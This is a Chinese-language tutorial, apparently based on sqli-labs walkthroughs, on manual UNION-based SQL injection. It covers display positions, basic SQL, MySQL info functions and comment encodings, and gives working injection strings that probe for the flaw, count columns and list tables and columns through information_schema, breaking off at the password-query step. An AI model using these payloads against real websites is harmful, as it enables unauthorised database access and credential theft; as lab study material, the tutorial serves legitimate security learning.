Q:什么是显示位:
A:我们在进行手工SQL注入的时候会用到ORDER BY 查询列数,然后通过UNION SELECT爆出在网页中的显示位。这个显示位指的是网页中能够显示数据的位置。
举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息(转自sqli-labs通关教程----1~10关 - Lushun - 博客园 (cnblogs.com))
Q:数据库基础知识
A:
select * from 表 :从表里查询所有内容
select * from bigfish;
select username,password from bigfish;
where :有条件的从表里选取数据
select * from bigfish where id=97;
and或 or :条件多时从表中选取数据
select * from bigfish where id=97 and username='admin'
order by : 根据指定的结果集/指定的列进行排序
select * from bigfish order by 1;
limit 0,1 :限制返回的行数 从0开始,返回1行
select * from bigfish limit 0,1;
union select : 将多个表拼在一起
select * from bigfish where id=97 union select 1,2,3;
常用函数
1 system_user() #系统用户名
2 user() #返回MYSQL用户名
3 current_user() #当前用户名
4 session_user() #连接数据库的用户名
5 database() #返回当前数据库名
6 version() #返回当前数据库版本信息
常见编码
原始 含义
%23 # 注释
-- 注释
--+ -- 注释,+会被转义为空格
流程
数据库名——》表名——》字段名
猜询表名
and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1
在数据库information_schema中有一张表,存储了数据库所有的表的信息
从数据库information_schema中的tables表查询字段名table_schema名为database()数据
and 1=2 union select 1,table_name from information_schema.tables where table_schema='库名' limit 1,1
-
判断是否存在sql注入漏洞
- and 1=1 页面正常
-
and 1=2 页面出错
-
判断字段数
order by =1和2时页面正常
order by =3 时页面出错
判断该数据库只有2个字段
-
判断回显
数字2位置可以回显
-
表名
注入语句为:
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
-
字段名
注入语句为:
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1
通过改变limit 的值发现字段名为id,username,password
-
在数据库中查询密码